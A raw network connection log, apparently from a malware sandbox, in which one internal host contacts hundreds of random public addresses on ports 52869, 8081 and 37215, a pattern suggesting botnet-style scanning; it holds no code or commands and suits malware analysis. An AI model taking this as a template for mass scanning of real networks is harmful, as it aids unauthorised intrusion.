Jul 20, 2024 23:01:02.712766886 CEST	52869	49909	199.116.231.80	192.168.2.14
Jul 20, 2024 23:01:02.712770939 CEST	52869	49909	153.102.166.110	192.168.2.14
Jul 20, 2024 23:01:02.712774038 CEST	49909	52869	192.168.2.14	88.162.173.203
Jul 20, 2024 23:01:02.712774038 CEST	49909	52869	192.168.2.14	106.20.220.81
Jul 20, 2024 23:01:02.712790966 CEST	49909	52869	192.168.2.14	164.215.151.124
Jul 20, 2024 23:01:02.712804079 CEST	49909	52869	192.168.2.14	71.13.23.133
Jul 20, 2024 23:01:02.712804079 CEST	49909	52869	192.168.2.14	97.103.86.19
Jul 20, 2024 23:01:02.712805033 CEST	49909	52869	192.168.2.14	199.116.231.80
Jul 20, 2024 23:01:02.712851048 CEST	49909	52869	192.168.2.14	107.66.233.245
Jul 20, 2024 23:01:02.712851048 CEST	49909	52869	192.168.2.14	153.102.166.110
Jul 20, 2024 23:01:02.712950945 CEST	54268	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:02.713002920 CEST	52869	60168	31.235.249.101	192.168.2.14
Jul 20, 2024 23:01:02.713041067 CEST	60168	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:02.714690924 CEST	47716	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:02.714921951 CEST	47030	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	178.123.88.24
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	160.148.10.105
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	137.45.98.141
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	58.111.225.12
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	76.212.61.223
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	41.113.174.53
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	31.16.104.91
Jul 20, 2024 23:01:02.715239048 CEST	49909	52869	192.168.2.14	5.145.173.238
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	9.92.18.145
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	65.225.101.123
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	23.209.46.185
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	92.57.111.47
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	150.52.118.186
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	93.212.77.112
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	34.247.176.177
Jul 20, 2024 23:01:02.715353966 CEST	49909	52869	192.168.2.14	178.130.37.13
Jul 20, 2024 23:01:02.715487957 CEST	49909	52869	192.168.2.14	93.180.85.109
Jul 20, 2024 23:01:02.715487957 CEST	49909	52869	192.168.2.14	94.19.223.142
Jul 20, 2024 23:01:02.715487957 CEST	49909	52869	192.168.2.14	114.201.239.49
Jul 20, 2024 23:01:02.715487957 CEST	49909	52869	192.168.2.14	120.228.64.152
Jul 20, 2024 23:01:02.715487957 CEST	49909	52869	192.168.2.14	118.162.116.123
Jul 20, 2024 23:01:02.715487957 CEST	49909	52869	192.168.2.14	191.232.78.142
Jul 20, 2024 23:01:02.715488911 CEST	49909	52869	192.168.2.14	166.120.3.189
Jul 20, 2024 23:01:02.715488911 CEST	49909	52869	192.168.2.14	143.199.55.97
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	85.40.207.185
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	217.19.179.134
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	212.202.43.22
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	137.215.200.72
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	144.128.74.225
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	2.15.163.121
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	169.245.61.144
Jul 20, 2024 23:01:02.715631962 CEST	49909	52869	192.168.2.14	192.225.65.177
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	158.228.244.170
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	66.63.131.171
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	14.172.165.82
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	145.57.244.229
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	14.241.255.147
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	211.8.209.169
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	83.208.222.65
Jul 20, 2024 23:01:02.715790033 CEST	49909	52869	192.168.2.14	43.246.208.38
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	46.75.223.154
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	194.121.136.201
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	67.159.215.23
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	152.28.159.70
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	112.204.3.25
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	129.77.83.120
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	1.79.38.184
Jul 20, 2024 23:01:02.715959072 CEST	49909	52869	192.168.2.14	91.190.201.197
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	91.153.201.113
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	153.163.4.209
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	187.247.235.78
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	46.26.66.22
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	184.228.135.25
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	185.146.99.168
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	171.37.214.209
Jul 20, 2024 23:01:02.716134071 CEST	49909	52869	192.168.2.14	75.177.2.173
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	100.212.195.10
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	218.210.248.92
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	121.76.31.20
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	119.211.35.125
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	188.160.109.228
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	106.127.203.66
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	187.160.78.221
Jul 20, 2024 23:01:02.716324091 CEST	49909	52869	192.168.2.14	181.164.119.12
Jul 20, 2024 23:01:02.716501951 CEST	8081	35034	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	122.78.108.15
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	82.46.19.13
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	181.246.51.13
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	207.153.20.81
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	49.108.231.183
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	47.230.216.27
Jul 20, 2024 23:01:02.716502905 CEST	49909	52869	192.168.2.14	142.255.143.125
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	79.211.151.120
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	148.158.175.129
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	150.134.66.131
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	51.223.103.159
Jul 20, 2024 23:01:02.717200041 CEST	50165	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	206.39.85.6
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	151.169.90.181
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	2.114.253.78
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	47.133.70.19
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	133.98.154.148
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	49.23.73.9
Jul 20, 2024 23:01:02.718139887 CEST	49909	52869	192.168.2.14	1.24.97.208
Jul 20, 2024 23:01:02.718594074 CEST	49909	52869	192.168.2.14	69.47.116.163
Jul 20, 2024 23:01:02.718594074 CEST	49909	52869	192.168.2.14	1.17.235.206
Jul 20, 2024 23:01:02.718594074 CEST	49909	52869	192.168.2.14	124.175.224.119
Jul 20, 2024 23:01:02.718594074 CEST	49909	52869	192.168.2.14	54.149.87.219
Jul 20, 2024 23:01:02.718594074 CEST	49909	52869	192.168.2.14	190.128.150.236
Jul 20, 2024 23:01:02.718595028 CEST	49909	52869	192.168.2.14	198.1.87.251
Jul 20, 2024 23:01:02.718595028 CEST	49909	52869	192.168.2.14	100.191.43.243
Jul 20, 2024 23:01:02.718595028 CEST	49909	52869	192.168.2.14	80.147.25.122
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	83.178.48.215
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	71.80.243.66
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	82.50.188.0
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	43.171.201.4
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	14.157.105.92
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	163.105.10.195
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	220.148.106.249
Jul 20, 2024 23:01:02.718796968 CEST	49909	52869	192.168.2.14	182.195.191.168
Jul 20, 2024 23:01:02.718807936 CEST	8081	40108	4.252.192.158	192.168.2.14
Jul 20, 2024 23:01:02.718837976 CEST	40108	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	70.193.69.70
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	174.34.223.111
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	186.250.53.6
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	158.68.165.11
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	128.242.210.8
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	49.113.244.199
Jul 20, 2024 23:01:02.719017029 CEST	49909	52869	192.168.2.14	88.203.72.220
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	34.243.206.212
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	161.199.252.164
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	159.102.46.61
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	106.120.220.124
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	165.158.183.156
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	17.205.238.55
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	170.107.57.31
Jul 20, 2024 23:01:02.719470024 CEST	49909	52869	192.168.2.14	103.246.31.212
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	194.122.120.193
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	217.184.248.134
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	112.132.200.79
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	223.165.230.55
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	192.12.32.123
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	90.98.103.168
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	80.131.241.25
Jul 20, 2024 23:01:02.719705105 CEST	49909	52869	192.168.2.14	164.112.242.116
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	66.123.49.0
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	211.67.94.134
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	91.203.31.183
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	166.59.195.42
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	32.9.127.176
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	18.228.99.50
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	129.255.250.97
Jul 20, 2024 23:01:02.719954014 CEST	49909	52869	192.168.2.14	17.129.221.122
Jul 20, 2024 23:01:02.720201969 CEST	49909	52869	192.168.2.14	133.24.113.110
Jul 20, 2024 23:01:02.720201969 CEST	49909	52869	192.168.2.14	88.115.4.111
Jul 20, 2024 23:01:02.720202923 CEST	49909	52869	192.168.2.14	193.88.26.53
Jul 20, 2024 23:01:02.720202923 CEST	49909	52869	192.168.2.14	155.141.1.141
Jul 20, 2024 23:01:02.720202923 CEST	49909	52869	192.168.2.14	176.115.221.191
Jul 20, 2024 23:01:02.720202923 CEST	49909	52869	192.168.2.14	91.173.80.34
Jul 20, 2024 23:01:02.720202923 CEST	49909	52869	192.168.2.14	97.116.245.239
Jul 20, 2024 23:01:02.720202923 CEST	49909	52869	192.168.2.14	147.88.112.207
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	209.84.135.1
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	65.33.48.70
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	83.45.74.241
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	135.9.251.92
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	153.66.173.34
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	50.36.34.119
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	106.58.163.136
Jul 20, 2024 23:01:02.720449924 CEST	49909	52869	192.168.2.14	149.185.136.241
Jul 20, 2024 23:01:02.720724106 CEST	49909	52869	192.168.2.14	134.4.219.148
Jul 20, 2024 23:01:02.720724106 CEST	49909	52869	192.168.2.14	17.215.234.66
Jul 20, 2024 23:01:02.720724106 CEST	49909	52869	192.168.2.14	146.78.107.66
Jul 20, 2024 23:01:02.720724106 CEST	49909	52869	192.168.2.14	197.175.176.39
Jul 20, 2024 23:01:02.720724106 CEST	49909	52869	192.168.2.14	177.233.62.147
Jul 20, 2024 23:01:02.720724106 CEST	52725	37215	192.168.2.14	163.92.213.232
Jul 20, 2024 23:01:02.721458912 CEST	52725	37215	192.168.2.14	40.213.71.109
Jul 20, 2024 23:01:02.721458912 CEST	52725	37215	192.168.2.14	123.25.87.128
Jul 20, 2024 23:01:02.721458912 CEST	52725	37215	192.168.2.14	41.253.214.190
Jul 20, 2024 23:01:02.721458912 CEST	52725	37215	192.168.2.14	41.149.227.175
Jul 20, 2024 23:01:02.721458912 CEST	52725	37215	192.168.2.14	41.71.22.237
Jul 20, 2024 23:01:02.721458912 CEST	52725	37215	192.168.2.14	41.38.47.187
Jul 20, 2024 23:01:02.721493006 CEST	58516	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:02.722230911 CEST	35034	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:02.722862959 CEST	8081	50165	64.40.220.249	192.168.2.14
Jul 20, 2024 23:01:02.722867012 CEST	8081	50165	73.192.89.112	192.168.2.14
Jul 20, 2024 23:01:02.722872019 CEST	8081	50165	79.56.196.56	192.168.2.14
Jul 20, 2024 23:01:02.722884893 CEST	8081	50165	112.122.223.13	192.168.2.14
Jul 20, 2024 23:01:02.722889900 CEST	8081	50165	89.133.123.162	192.168.2.14
Jul 20, 2024 23:01:02.722898006 CEST	8081	50165	165.66.8.4	192.168.2.14
Jul 20, 2024 23:01:02.722903013 CEST	8081	50165	183.231.55.178	192.168.2.14
Jul 20, 2024 23:01:02.722912073 CEST	8081	50165	20.225.117.186	192.168.2.14
Jul 20, 2024 23:01:02.722917080 CEST	8081	50165	49.38.59.138	192.168.2.14
Jul 20, 2024 23:01:02.722920895 CEST	8081	50165	216.92.128.30	192.168.2.14
Jul 20, 2024 23:01:02.722924948 CEST	8081	50165	80.125.118.26	192.168.2.14
Jul 20, 2024 23:01:02.722929001 CEST	8081	50165	147.206.164.111	192.168.2.14
Jul 20, 2024 23:01:02.724013090 CEST	8081	50165	89.221.248.198	192.168.2.14
Jul 20, 2024 23:01:02.724018097 CEST	8081	50165	72.94.84.35	192.168.2.14
Jul 20, 2024 23:01:02.724028111 CEST	8081	50165	176.206.93.170	192.168.2.14
Jul 20, 2024 23:01:02.724031925 CEST	8081	50165	198.170.21.34	192.168.2.14
Jul 20, 2024 23:01:02.724040985 CEST	52869	41716	64.117.200.225	192.168.2.14
Jul 20, 2024 23:01:02.724054098 CEST	8081	50165	8.5.178.189	192.168.2.14
Jul 20, 2024 23:01:02.724070072 CEST	8081	50165	173.59.27.14	192.168.2.14
Jul 20, 2024 23:01:02.724075079 CEST	8081	50165	87.188.229.11	192.168.2.14
Jul 20, 2024 23:01:02.724077940 CEST	41716	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:02.724083900 CEST	8081	50165	102.241.240.72	192.168.2.14
Jul 20, 2024 23:01:02.724103928 CEST	43334	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:02.724459887 CEST	8081	50165	140.33.143.7	192.168.2.14
Jul 20, 2024 23:01:02.724473953 CEST	8081	50165	196.97.217.216	192.168.2.14
Jul 20, 2024 23:01:02.724478006 CEST	8081	50165	194.184.157.56	192.168.2.14
Jul 20, 2024 23:01:02.724495888 CEST	8081	50165	151.34.129.30	192.168.2.14
Jul 20, 2024 23:01:02.724499941 CEST	8081	50165	206.107.44.89	192.168.2.14
Jul 20, 2024 23:01:02.724503994 CEST	8081	50165	118.74.36.233	192.168.2.14
Jul 20, 2024 23:01:02.724509001 CEST	8081	50165	63.244.125.61	192.168.2.14
Jul 20, 2024 23:01:02.724518061 CEST	8081	50165	151.157.2.20	192.168.2.14
Jul 20, 2024 23:01:02.724526882 CEST	8081	50165	39.48.171.124	192.168.2.14
Jul 20, 2024 23:01:02.724530935 CEST	8081	50165	198.115.232.89	192.168.2.14
Jul 20, 2024 23:01:02.724534988 CEST	8081	50165	183.125.176.2	192.168.2.14
Jul 20, 2024 23:01:02.724543095 CEST	8081	50165	213.251.115.123	192.168.2.14
Jul 20, 2024 23:01:02.724553108 CEST	8081	50165	223.6.190.72	192.168.2.14
Jul 20, 2024 23:01:02.724560976 CEST	8081	50165	70.21.31.221	192.168.2.14
Jul 20, 2024 23:01:02.725110054 CEST	8081	47716	110.230.124.54	192.168.2.14
Jul 20, 2024 23:01:02.725123882 CEST	52869	47030	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:02.725127935 CEST	52869	49909	123.129.121.17	192.168.2.14
Jul 20, 2024 23:01:02.725131989 CEST	52869	49909	178.123.88.24	192.168.2.14
Jul 20, 2024 23:01:02.725141048 CEST	52869	49909	160.148.10.105	192.168.2.14
Jul 20, 2024 23:01:02.725146055 CEST	52869	49909	137.45.98.141	192.168.2.14
Jul 20, 2024 23:01:02.725153923 CEST	52869	49909	58.111.225.12	192.168.2.14
Jul 20, 2024 23:01:02.725156069 CEST	47716	8081	192.168.2.14	110.230.124.54
Jul 20, 2024 23:01:02.725167036 CEST	52869	49909	76.212.61.223	192.168.2.14
Jul 20, 2024 23:01:02.725171089 CEST	52869	49909	41.113.174.53	192.168.2.14
Jul 20, 2024 23:01:02.725248098 CEST	47030	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:02.725502014 CEST	52869	49909	31.16.104.91	192.168.2.14
Jul 20, 2024 23:01:02.725506067 CEST	52869	49909	5.145.173.238	192.168.2.14
Jul 20, 2024 23:01:02.725521088 CEST	52869	49909	9.92.18.145	192.168.2.14
Jul 20, 2024 23:01:02.725527048 CEST	52869	49909	65.225.101.123	192.168.2.14
Jul 20, 2024 23:01:02.725531101 CEST	52869	49909	23.209.46.185	192.168.2.14
Jul 20, 2024 23:01:02.725534916 CEST	52869	49909	92.57.111.47	192.168.2.14
Jul 20, 2024 23:01:02.725538969 CEST	52869	49909	150.52.118.186	192.168.2.14
Jul 20, 2024 23:01:02.725543022 CEST	52869	49909	93.212.77.112	192.168.2.14
Jul 20, 2024 23:01:02.725548029 CEST	52869	49909	34.247.176.177	192.168.2.14
Jul 20, 2024 23:01:02.725552082 CEST	52869	49909	178.130.37.13	192.168.2.14
Jul 20, 2024 23:01:02.725560904 CEST	52869	49909	93.180.85.109	192.168.2.14
Jul 20, 2024 23:01:02.725564957 CEST	52869	49909	94.19.223.142	192.168.2.14
Jul 20, 2024 23:01:02.725569963 CEST	52869	49909	114.201.239.49	192.168.2.14
Jul 20, 2024 23:01:02.725574017 CEST	52869	49909	120.228.64.152	192.168.2.14
Jul 20, 2024 23:01:02.725579023 CEST	52869	49909	118.162.116.123	192.168.2.14
Jul 20, 2024 23:01:02.725898027 CEST	52869	49909	191.232.78.142	192.168.2.14
Jul 20, 2024 23:01:02.725912094 CEST	52869	49909	166.120.3.189	192.168.2.14
Jul 20, 2024 23:01:02.725915909 CEST	52869	49909	143.199.55.97	192.168.2.14
Jul 20, 2024 23:01:02.725919962 CEST	52869	49909	85.40.207.185	192.168.2.14
Jul 20, 2024 23:01:02.725924015 CEST	52869	49909	217.19.179.134	192.168.2.14
Jul 20, 2024 23:01:02.725928068 CEST	52869	49909	212.202.43.22	192.168.2.14
Jul 20, 2024 23:01:02.725931883 CEST	52869	49909	137.215.200.72	192.168.2.14
Jul 20, 2024 23:01:02.725939989 CEST	52869	49909	144.128.74.225	192.168.2.14
Jul 20, 2024 23:01:02.725944996 CEST	52869	49909	2.15.163.121	192.168.2.14
Jul 20, 2024 23:01:02.725953102 CEST	52869	49909	169.245.61.144	192.168.2.14
Jul 20, 2024 23:01:02.726001024 CEST	49272	8081	192.168.2.14	149.47.207.151
Jul 20, 2024 23:01:02.726085901 CEST	52869	49909	192.225.65.177	192.168.2.14
Jul 20, 2024 23:01:02.726090908 CEST	52869	49909	158.228.244.170	192.168.2.14
Jul 20, 2024 23:01:02.726099014 CEST	52869	49909	66.63.131.171	192.168.2.14
Jul 20, 2024 23:01:02.726131916 CEST	52869	49909	14.172.165.82	192.168.2.14
Jul 20, 2024 23:01:02.726140022 CEST	52869	49909	145.57.244.229	192.168.2.14
Jul 20, 2024 23:01:02.726147890 CEST	52869	49909	14.241.255.147	192.168.2.14
Jul 20, 2024 23:01:02.726152897 CEST	52869	49909	211.8.209.169	192.168.2.14
Jul 20, 2024 23:01:02.726161003 CEST	52869	49909	83.208.222.65	192.168.2.14
Jul 20, 2024 23:01:02.726166010 CEST	52869	49909	43.246.208.38	192.168.2.14
Jul 20, 2024 23:01:02.726170063 CEST	52869	49909	46.75.223.154	192.168.2.14
Jul 20, 2024 23:01:02.726174116 CEST	52869	49909	194.121.136.201	192.168.2.14
Jul 20, 2024 23:01:02.726177931 CEST	52869	49909	67.159.215.23	192.168.2.14
Jul 20, 2024 23:01:02.726181984 CEST	52869	49909	152.28.159.70	192.168.2.14
Jul 20, 2024 23:01:02.726197004 CEST	52869	49909	112.204.3.25	192.168.2.14
Jul 20, 2024 23:01:02.726202011 CEST	52869	49909	129.77.83.120	192.168.2.14
Jul 20, 2024 23:01:02.726210117 CEST	52869	49909	1.79.38.184	192.168.2.14
Jul 20, 2024 23:01:02.726213932 CEST	52869	49909	91.190.201.197	192.168.2.14
Jul 20, 2024 23:01:02.726227999 CEST	52869	49909	91.153.201.113	192.168.2.14
Jul 20, 2024 23:01:02.726237059 CEST	52869	49909	153.163.4.209	192.168.2.14
Jul 20, 2024 23:01:02.726241112 CEST	52869	49909	187.247.235.78	192.168.2.14
Jul 20, 2024 23:01:02.726244926 CEST	52869	49909	46.26.66.22	192.168.2.14
Jul 20, 2024 23:01:02.726248980 CEST	52869	49909	184.228.135.25	192.168.2.14
Jul 20, 2024 23:01:02.726252079 CEST	52869	49909	185.146.99.168	192.168.2.14
Jul 20, 2024 23:01:02.726263046 CEST	52869	49909	171.37.214.209	192.168.2.14
Jul 20, 2024 23:01:02.726598024 CEST	52869	49909	75.177.2.173	192.168.2.14
Jul 20, 2024 23:01:02.726681948 CEST	39514	8081	192.168.2.14	222.1.41.48
Jul 20, 2024 23:01:02.726681948 CEST	60522	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:02.726681948 CEST	50165	8081	192.168.2.14	73.192.89.112
Jul 20, 2024 23:01:02.726681948 CEST	50165	8081	192.168.2.14	64.40.220.249
Jul 20, 2024 23:01:02.726681948 CEST	50165	8081	192.168.2.14	79.56.196.56
Jul 20, 2024 23:01:02.726681948 CEST	50165	8081	192.168.2.14	112.122.223.13
Jul 20, 2024 23:01:02.726681948 CEST	50165	8081	192.168.2.14	89.133.123.162
Jul 20, 2024 23:01:02.726711988 CEST	52869	49909	100.212.195.10	192.168.2.14
Jul 20, 2024 23:01:02.726716995 CEST	52869	49909	218.210.248.92	192.168.2.14
Jul 20, 2024 23:01:02.726768970 CEST	52869	49909	121.76.31.20	192.168.2.14
Jul 20, 2024 23:01:02.726789951 CEST	52869	49909	119.211.35.125	192.168.2.14
Jul 20, 2024 23:01:02.726794958 CEST	52869	49909	188.160.109.228	192.168.2.14
Jul 20, 2024 23:01:02.726799965 CEST	52869	49909	106.127.203.66	192.168.2.14
Jul 20, 2024 23:01:02.726804972 CEST	52869	49909	187.160.78.221	192.168.2.14
Jul 20, 2024 23:01:02.726809025 CEST	52869	49909	181.164.119.12	192.168.2.14
Jul 20, 2024 23:01:02.726813078 CEST	52869	49909	122.78.108.15	192.168.2.14
Jul 20, 2024 23:01:02.726816893 CEST	52869	49909	82.46.19.13	192.168.2.14
Jul 20, 2024 23:01:02.726821899 CEST	52869	49909	181.246.51.13	192.168.2.14
Jul 20, 2024 23:01:02.726830959 CEST	52869	49909	207.153.20.81	192.168.2.14
Jul 20, 2024 23:01:02.726839066 CEST	52869	49909	49.108.231.183	192.168.2.14
Jul 20, 2024 23:01:02.726849079 CEST	52869	49909	47.230.216.27	192.168.2.14
Jul 20, 2024 23:01:02.726995945 CEST	52869	49909	142.255.143.125	192.168.2.14
Jul 20, 2024 23:01:02.727377892 CEST	52869	49909	206.39.85.6	192.168.2.14
Jul 20, 2024 23:01:02.727381945 CEST	52869	49909	151.169.90.181	192.168.2.14
Jul 20, 2024 23:01:02.727391005 CEST	52869	49909	2.114.253.78	192.168.2.14
Jul 20, 2024 23:01:02.727400064 CEST	52869	49909	47.133.70.19	192.168.2.14
Jul 20, 2024 23:01:02.727405071 CEST	52869	49909	133.98.154.148	192.168.2.14
Jul 20, 2024 23:01:02.727408886 CEST	52869	49909	49.23.73.9	192.168.2.14
Jul 20, 2024 23:01:02.727412939 CEST	52869	49909	1.24.97.208	192.168.2.14
Jul 20, 2024 23:01:02.727518082 CEST	52869	49909	69.47.116.163	192.168.2.14
Jul 20, 2024 23:01:02.727523088 CEST	52869	49909	1.17.235.206	192.168.2.14
Jul 20, 2024 23:01:02.727531910 CEST	52869	49909	124.175.224.119	192.168.2.14
Jul 20, 2024 23:01:02.727535963 CEST	52869	49909	54.149.87.219	192.168.2.14
Jul 20, 2024 23:01:02.727550983 CEST	52869	49909	190.128.150.236	192.168.2.14
Jul 20, 2024 23:01:02.727557898 CEST	52869	49909	198.1.87.251	192.168.2.14
Jul 20, 2024 23:01:02.727567911 CEST	52869	49909	100.191.43.243	192.168.2.14
Jul 20, 2024 23:01:02.727574110 CEST	52869	49909	80.147.25.122	192.168.2.14
Jul 20, 2024 23:01:02.727581978 CEST	52869	49909	83.178.48.215	192.168.2.14
Jul 20, 2024 23:01:02.727586031 CEST	52869	49909	71.80.243.66	192.168.2.14
Jul 20, 2024 23:01:02.727600098 CEST	52869	49909	82.50.188.0	192.168.2.14
Jul 20, 2024 23:01:02.727623940 CEST	50165	8081	192.168.2.14	165.66.8.4
Jul 20, 2024 23:01:02.727623940 CEST	50165	8081	192.168.2.14	183.231.55.178
Jul 20, 2024 23:01:02.727624893 CEST	50165	8081	192.168.2.14	20.225.117.186
Jul 20, 2024 23:01:02.727624893 CEST	50165	8081	192.168.2.14	80.125.118.26
Jul 20, 2024 23:01:02.727624893 CEST	50165	8081	192.168.2.14	49.38.59.138
Jul 20, 2024 23:01:02.727624893 CEST	50165	8081	192.168.2.14	216.92.128.30
